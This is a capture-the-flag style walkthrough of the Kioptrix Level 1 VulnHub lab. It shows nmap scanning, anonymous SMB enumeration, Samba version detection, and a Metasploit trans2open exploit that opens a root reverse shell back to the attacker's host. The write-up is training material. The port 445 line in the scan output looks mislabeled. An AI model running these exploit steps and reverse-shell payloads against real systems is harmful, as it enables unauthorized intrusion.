Introduction

The Kioptrix Level 1 machine is a classic beginner-friendly VulnHub lab designed to teach fundamental enumeration and exploitation. The objective is to gain root access on a simulated misconfigured Linux system.

Step 1: Reconnaissance with Nmap

The initial Nmap scan revealed several old and vulnerable services.

# nmap 192.168.100.45 -T4 -sV -A
PORT    STATE SERVICE       VERSION
22/tcp  open  ssh           OpenSSH 2.9p2 (protocol 1.99)
80/tcp  open  http          Apache httpd 1.3.20
139/tcp open  netbios-ssn   Samba smbd
445/tcp open  ssl/https     Apache/1.3.20 (Unix) (Red-Hat/Linux)

The key findings are a very old OpenSSH, an ancient Apache, and Samba running on port 139. Samba is a frequent source of remote code execution.

Step 2: Enumerating SMB Shares

I used smbclient to list the shares on the target and found that anonymous login was enabled.

# smbclient -L //192.168.100.45/
Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
IPC$            IPC       IPC Service (Samba Server)
ADMIN$          IPC       IPC Service (Samba Server)
...

This confirmed anonymous access and suggested the Samba version was old.

Step 3: Metasploit - SMB Version Detection

To pinpoint the exact Samba version, I used a Metasploit auxiliary scanner.

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.100.45
msf6 auxiliary(scanner/smb/smb_version) > set RPORT 139
msf6 auxiliary(scanner/smb/smb_version) > run
...
[+] 192.168.100.45:139    Host could not be identified: Unix (Samba 2.2.1a)

The target is running Samba 2.2.1a, which is vulnerable to a buffer overflow attack.

Step 4: Exploiting Samba with Metasploit

I searched Metasploit for an exploit and found exploit/linux/samba/trans2open, which targets this exact vulnerability.

msf6 > use exploit/linux/samba/trans2open
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.100.45
msf6 exploit(linux/samba/trans2open) > set LHOST 192.168.100.18
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.100.18:4444
...
[*] Trying return address 0xbffffdfc...
...
[+] Command shell session 5 opened (192.168.100.18:4449 -> 192.168.100.45:1029)

whoami
root

Conclusion

The exploit was successful and provided a reverse shell, landing as the root user. Kioptrix Level 1 was successfully compromised.

← all walkthroughs